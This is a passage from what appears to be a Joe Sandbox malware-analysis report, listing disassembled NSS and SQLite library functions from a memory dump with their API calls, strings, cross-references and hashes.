_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA6DDF9
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00012806,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA6DE68
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,0001280D,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6CA6DE97
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CA6DEB6
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CA6DF78

Strings

database corruption, xrefs: 6CA6DE5C, 6CA6DE8B
%s at line %d of [%.10s], xrefs: 6CA6DE61, 6CA6DE90
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA6DE52, 6CA6DE81

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: _byteswap_ulongsqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1526119172-598938438
Opcode ID: 622ce175ee7fc9e6ed06c7148a0f7058377c8933a00a0a44866207f473b9e05e
Instruction ID: 070a2a9efc0425f14b5070097d37895b5cee628e40c987686f1815f790551c50
Opcode Fuzzy Hash: 622ce175ee7fc9e6ed06c7148a0f7058377c8933a00a0a44866207f473b9e05e
Instruction Fuzzy Hash: 2681C471B053009FD714DF26C880B6A77F1AF45358F28882DE9998BE91E731E885C752

Function 6CA1CEC0 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 199COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A7E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CA1B999), ref: 6CA1CFF3
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,000109DA,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,00000000,?,00000000,?,?,6CA1B999), ref: 6CA1D02B
sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00010A70,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4,?,00000000,?,?,6CA1B999), ref: 6CA1D041
_byteswap_ushort.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?,?,?,?,?,?,6CA1B999), ref: 6CB6972B

Strings

database corruption, xrefs: 6CA1CFE7, 6CA1D013, 6CA1D028, 6CA1D039, 6CA1D03E, 6CB69786
%s at line %d of [%.10s], xrefs: 6CA1CFEC, 6CA1D018, 6CA1D029, 6CA1D03F, 6CB6978B
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CA1CFDD, 6CA1D00E, 6CA1D022, 6CA1D033, 6CB69780

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: sqlite3_log$_byteswap_ushort
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 491875419-598938438
Opcode ID: 0abc9e8e77749007bb729db272402f8fcf398cfc80839b2f5730a7ed8e310b06
Instruction ID: b3624bc258817c8b3837b2bbb29da64c78ed67fecf6039c7c8cce505250f9430
Opcode Fuzzy Hash: 0abc9e8e77749007bb729db272402f8fcf398cfc80839b2f5730a7ed8e310b06
Instruction Fuzzy Hash: 40612871A042508BD310CF29C941BA6B7F5EF55318F2881ADE4499FF42D376D987C7A1

Function 6CB1FFF0 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 6CB25B40: PR_GetIdentitiesLayer.NSS3 ref: 6CB25B56

PK11_FreeSymKey.NSS3(00000000), ref: 6CB20113
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB20130
PORT_Alloc_Util.NSS3(00000040), ref: 6CB2015D
memcpy.VCRUNTIME140(-00000042,?,?), ref: 6CB201AF
PR_SetError.NSS3(FFFFD056,00000000), ref: 6CB20202
free.MOZGLUE(?), ref: 6CB20224
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CB20253

Strings

exporter, xrefs: 6CB200F7

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Error$Alloc_FreeIdentitiesK11_LayerUtilfreememcpy
String ID: exporter
API String ID: 712147604-111224270
Opcode ID: 0fba6ae43dc5694e8ca1c1e2bb07be337025608473a497dd3b297a2523672aa7
Instruction ID: 233de017ce760dd7952b35e4dfddd3075c6e303c5e6c41efa8a9903df5ad67c6
Opcode Fuzzy Hash: 0fba6ae43dc5694e8ca1c1e2bb07be337025608473a497dd3b297a2523672aa7
Instruction Fuzzy Hash: 3261F0719007D99BEB018FA4EC10BFE77B6FF48308F144228F91E56A61EB35A954CB52

Function 6CB1EF30 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 109COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE013,00000000,?,6CB3A4A1,?,00000000,?,00000001), ref: 6CB1EF6D

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

htonl.WSOCK32(00000000,?,6CB3A4A1,?,00000000,?,00000001), ref: 6CB1EFE4
htonl.WSOCK32(?,00000000,?,6CB3A4A1,?,00000000,?,00000001), ref: 6CB1EFF1
memcpy.VCRUNTIME140(?,?,6CB3A4A1,?,00000000,?,6CB3A4A1,?,00000000,?,00000001), ref: 6CB1F00B
memcpy.VCRUNTIME140(?,00000000,?,?,?,00000000,?,6CB3A4A1,?,00000000,?,00000001), ref: 6CB1F027

Strings

dtls13, xrefs: 6CB1EF33

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: htonlmemcpy$ErrorValue
String ID: dtls13
API String ID: 242828995-1883198198
Opcode ID: 0a924f7ee2a44e15adfe0605797df01f944434a4fc10c9636de03b447dfdd145
Instruction ID: fdc87cc8a3358fe21beb8c83d6322388f20676c6e69bd8e966bd70e50ff6fce7
Opcode Fuzzy Hash: 0a924f7ee2a44e15adfe0605797df01f944434a4fc10c9636de03b447dfdd145
Instruction Fuzzy Hash: AF311671A082919FDB10CF68DC44B8EB7E4EF49348F158029EC189BB51E731E916CBE2

Function 6CA9AF60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 93COMMON

Download Yara Rule

APIs

PL_InitArenaPool.NSS3(?,security,00000800,00000008), ref: 6CA9AFBE
SEC_QuickDERDecodeItem_Util.NSS3(?,?,6CBB9500,6CA93F91), ref: 6CA9AFD2

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

DER_GetInteger_Util.NSS3(?), ref: 6CA9B007

Part of subcall function 6CAE6A90: PR_SetError.NSS3(FFFFE009,00000000,?,00000000,?,6CA91666,?,6CA9B00C,?), ref: 6CAE6AFB

PR_SetError.NSS3(FFFFE009,00000000), ref: 6CA9B02F
PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CA9B046
PL_FreeArenaPool.NSS3 ref: 6CA9B058
PL_FinishArenaPool.NSS3 ref: 6CA9B060

Strings

security, xrefs: 6CA9AFB8

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ArenaErrorPool$Util$CallDecodeFinishFreeInitInteger_Item_OnceQuick
String ID: security
API String ID: 3627567351-3315324353
Opcode ID: 064932653b6a0af8413fbb0976e3d040a6a0df6d7ad237ad6d2d2868ce518a2f
Instruction ID: ec07bf5bf4a80d9dd05c94ef1cb278d2ace7e9a10cc3fef5a4cf919a9ae177aa
Opcode Fuzzy Hash: 064932653b6a0af8413fbb0976e3d040a6a0df6d7ad237ad6d2d2868ce518a2f
Instruction Fuzzy Hash: AF31F4704143409BDB208F24EC46BAA77E4AF8636CF140719F9B45BBD1E7329689C797

Function 6CA93E60 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 78COMMON

Download Yara Rule

APIs

Part of subcall function 6CA940D0: SECOID_FindOIDByTag_Util.NSS3(?,?,?,?,?,6CA93F7F,?,00000055,?,?,6CA91666,?,?), ref: 6CA940D9
Part of subcall function 6CA940D0: SECITEM_CompareItem_Util.NSS3(00000000,?,?,?,6CA91666,?,?), ref: 6CA940FC
Part of subcall function 6CA940D0: PR_SetError.NSS3(FFFFE023,00000000,?,?,6CA91666,?,?), ref: 6CA94138

PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA93EC2
SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CA93ED6

Part of subcall function 6CAEB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CBC18D0,?), ref: 6CAEB095

SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CA93EEE

Part of subcall function 6CAEFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CAE8D2D,?,00000000,?), ref: 6CAEFB85
Part of subcall function 6CAEFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CAEFBB1

PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CA93F02
PL_FreeArenaPool.NSS3 ref: 6CA93F14
PL_FinishArenaPool.NSS3 ref: 6CA93F1C

Part of subcall function 6CAF64F0: free.MOZGLUE(00000000,00000000,00000000,00000000,?,6CAF127C,00000000,00000000,00000000), ref: 6CAF650E

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA93F27

Strings

security, xrefs: 6CA93EBC

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$ArenaItem_$Pool$Error$Alloc_CallCompareCopyDecodeFindFinishFreeInitOnceQuickTag_Zfreefreememcpy
String ID: security
API String ID: 1076417423-3315324353
Opcode ID: 9e9e685e4a36b769b59c3133e3d9a7b590b7a8e8e1c2ec8737763c1711194d31
Instruction ID: 9a0c16958396688339d721acd98e198aade130c510a308509cc8d5936187efb2
Opcode Fuzzy Hash: 9e9e685e4a36b769b59c3133e3d9a7b590b7a8e8e1c2ec8737763c1711194d31
Instruction Fuzzy Hash: 1B2128B1904340ABD3109B14AC42FAB73F8EB8831CF04053DF999A7741E730D61C8796

Function 6CADCC70 Relevance: 13.8, APIs: 9, Instructions: 313COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,00000100,?), ref: 6CADCD08
PK11_DoesMechanism.NSS3(?,?), ref: 6CADCE16
PR_SetError.NSS3(00000000,00000000), ref: 6CADD079

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: d693ea3b7318b9005bdc905a79cb3036100b8ee1cc567dd016f07837cb281d26
Instruction ID: a40a22817ff70e4b16ecf29c9cd0b71bb5122a8ce337f100eb80d4fd6baf3428
Opcode Fuzzy Hash: d693ea3b7318b9005bdc905a79cb3036100b8ee1cc567dd016f07837cb281d26
Instruction Fuzzy Hash: 7BC18DB1E002199BDB10CF24CC80BDAB7B4BB48308F5941A8E949A7741E775EED9CF90

Function 6CACDC60 Relevance: 13.7, APIs: 9, Instructions: 245memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(0000000C,?,?,00000000,?,6CAD97C1,?,00000000,00000000,?,?,?,00000000,?,6CAB7F4A,00000000), ref: 6CACDC68

Part of subcall function 6CAF0BE0: malloc.MOZGLUE(6CAE8D2D,?,00000000,?), ref: 6CAF0BF8
Part of subcall function 6CAF0BE0: TlsGetValue.KERNEL32(6CAE8D2D,?,00000000,?), ref: 6CAF0C15

PORT_Alloc_Util.NSS3(00000008,00000000,?,?,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CACDD36
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CACDE2D
memcpy.VCRUNTIME140(00000000,00000000,?,?,00000000,?,?,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CACDE43
PORT_Alloc_Util.NSS3(0000000C,00000000,?,?,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CACDE76
PORT_Alloc_Util.NSS3(?,00000000,?,?,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CACDF32
memcpy.VCRUNTIME140(-00000010,00000000,00000000,?,00000000,?,?,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CACDF5F
PORT_Alloc_Util.NSS3(00000004,00000000,?,?,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CACDF78
PORT_Alloc_Util.NSS3(00000010,00000000,?,?,?,00000000,?,6CAB7F4A,00000000,?,00000000,00000000), ref: 6CACDFAA

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Alloc_Util$memcpy$Valuemalloc
String ID:
API String ID: 1886645929-0
Opcode ID: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction ID: 9345483ee23d4b485c85985ab1a5991a46cf8abd8630eef8de03c0668426de2d
Opcode Fuzzy Hash: fe8d88a349e5673cf738647205dd9f379d38853f63a25a7da66ce1962b66b1ea
Instruction Fuzzy Hash: 1381AF71FC66018BFF154A59C89036AB6B6EB60748F28883AD919CAFE1E774C4C4C653

Function 6CAA3C60 Relevance: 13.7, APIs: 9, Instructions: 213memoryCOMMON

Download Yara Rule

APIs

PK11_GetCertFromPrivateKey.NSS3(?), ref: 6CAA3C76
CERT_DestroyCertificate.NSS3(00000000), ref: 6CAA3C94

Part of subcall function 6CA995B0: TlsGetValue.KERNEL32(00000000,?,6CAB00D2,00000000), ref: 6CA995D2
Part of subcall function 6CA995B0: EnterCriticalSection.KERNEL32(?,?,?,6CAB00D2,00000000), ref: 6CA995E7
Part of subcall function 6CA995B0: PR_Unlock.NSS3(?,?,?,?,6CAB00D2,00000000), ref: 6CA99605

PORT_NewArena_Util.NSS3(00000800), ref: 6CAA3CB2
PORT_ArenaAlloc_Util.NSS3(00000000,000000AC), ref: 6CAA3CCA
memset.VCRUNTIME140(00000000,00000000,000000AC), ref: 6CAA3CE1

Part of subcall function 6CAA3090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CABAE42), ref: 6CAA30AA
Part of subcall function 6CAA3090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CAA30C7
Part of subcall function 6CAA3090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CAA30E5
Part of subcall function 6CAA3090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CAA3116
Part of subcall function 6CAA3090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CAA312B
Part of subcall function 6CAA3090: PK11_DestroyObject.NSS3(?,?), ref: 6CAA3154
Part of subcall function 6CAA3090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CAA317E

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Arena_$Alloc_ArenaDestroyK11_memset$AlgorithmCertCertificateCopyCriticalEnterFreeFromItem_ObjectPrivateSectionTag_UnlockValue
String ID:
API String ID: 3167935723-0
Opcode ID: 6406897408356bb5d24f63d05fd326ae29454b013ad5f1d725336d3868d76bdd
Instruction ID: db61719967780147170a1cc69701a77522a5e41bef8699cc8aab52ea237296fb
Opcode Fuzzy Hash: 6406897408356bb5d24f63d05fd326ae29454b013ad5f1d725336d3868d76bdd
Instruction Fuzzy Hash: EA61E9B5A01200BBEB105EA5DD41FBBB6B9EF04748F0D4028FE499B652F731D899C7A1

Function 6CAE3D40 Relevance: 13.7, APIs: 9, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 6CAE3440: PK11_GetAllTokens.NSS3 ref: 6CAE3481
Part of subcall function 6CAE3440: PR_SetError.NSS3(00000000,00000000), ref: 6CAE34A3
Part of subcall function 6CAE3440: TlsGetValue.KERNEL32 ref: 6CAE352E
Part of subcall function 6CAE3440: EnterCriticalSection.KERNEL32(?), ref: 6CAE3542
Part of subcall function 6CAE3440: PR_Unlock.NSS3(?), ref: 6CAE355B

TlsGetValue.KERNEL32 ref: 6CAE3D8B
EnterCriticalSection.KERNEL32(?), ref: 6CAE3D9F
PR_Unlock.NSS3(?), ref: 6CAE3DCA
PR_SetError.NSS3(00000000,00000000), ref: 6CAE3DE2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CAE3E4F

Part of subcall function 6CB3C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CB3C2BF

TlsGetValue.KERNEL32 ref: 6CAE3E97
EnterCriticalSection.KERNEL32(?), ref: 6CAE3EAB
PR_Unlock.NSS3(?), ref: 6CAE3ED6
PR_SetError.NSS3(00000000,00000000), ref: 6CAE3EEE

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: ErrorValue$CriticalEnterSectionUnlock$K11_Tokens
String ID:
API String ID: 2554137219-0
Opcode ID: 8c14964ce7d9b5c48d1f3b30b4f1c379ffcf052cd051d906a9b60b6c45f13a5f
Instruction ID: d3df2a38412aebfcd72da388af5853b2a8be5de477b2f56886b995861f4922c2
Opcode Fuzzy Hash: 8c14964ce7d9b5c48d1f3b30b4f1c379ffcf052cd051d906a9b60b6c45f13a5f
Instruction Fuzzy Hash: D5514975A022009FDB01AF69EC4476A73F4EF49318F090528DE9957B22EB31E8D4DBD1

Function 6CA92C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(D38DCE31), ref: 6CA92C5D

Part of subcall function 6CAF0D30: calloc.MOZGLUE ref: 6CAF0D50
Part of subcall function 6CAF0D30: TlsGetValue.KERNEL32 ref: 6CAF0D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6CA92C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA92CE0

Part of subcall function 6CA92E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6CA92CDA,?,00000000), ref: 6CA92E1E
Part of subcall function 6CA92E00: SECITEM_DupItem_Util.NSS3(?), ref: 6CA92E33
Part of subcall function 6CA92E00: TlsGetValue.KERNEL32 ref: 6CA92E4E
Part of subcall function 6CA92E00: EnterCriticalSection.KERNEL32(?), ref: 6CA92E5E
Part of subcall function 6CA92E00: PL_HashTableLookup.NSS3(?), ref: 6CA92E71
Part of subcall function 6CA92E00: PL_HashTableRemove.NSS3(?), ref: 6CA92E84
Part of subcall function 6CA92E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6CA92E96
Part of subcall function 6CA92E00: PR_Unlock.NSS3 ref: 6CA92EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CA92D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6CA92D30
CERT_MakeCANickname.NSS3(00000001), ref: 6CA92D3F
free.MOZGLUE(00000000), ref: 6CA92D73
CERT_DestroyCertificate.NSS3(?), ref: 6CA92DB8
free.MOZGLUE ref: 6CA92DC8

Part of subcall function 6CA93E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CA93EC2
Part of subcall function 6CA93E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6CA93ED6
Part of subcall function 6CA93E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CA93EEE
Part of subcall function 6CA93E60: PR_CallOnce.NSS3(6CBF2AA4,6CAF12D0), ref: 6CA93F02
Part of subcall function 6CA93E60: PL_FreeArenaPool.NSS3 ref: 6CA93F14
Part of subcall function 6CA93E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CA93F27

Memory Dump Source

Source File: 00000000.00000002.2708280655.000000006CA11000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CA10000, based on PE: true

Associated: 00000000.00000002.2708217484.000000006CA10000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2708926715.000000006CBAF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709019462.000000006CBEE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709061626.000000006CBEF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709115405.000000006CBF0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2709180720.000000006CBF5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca10000_file.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
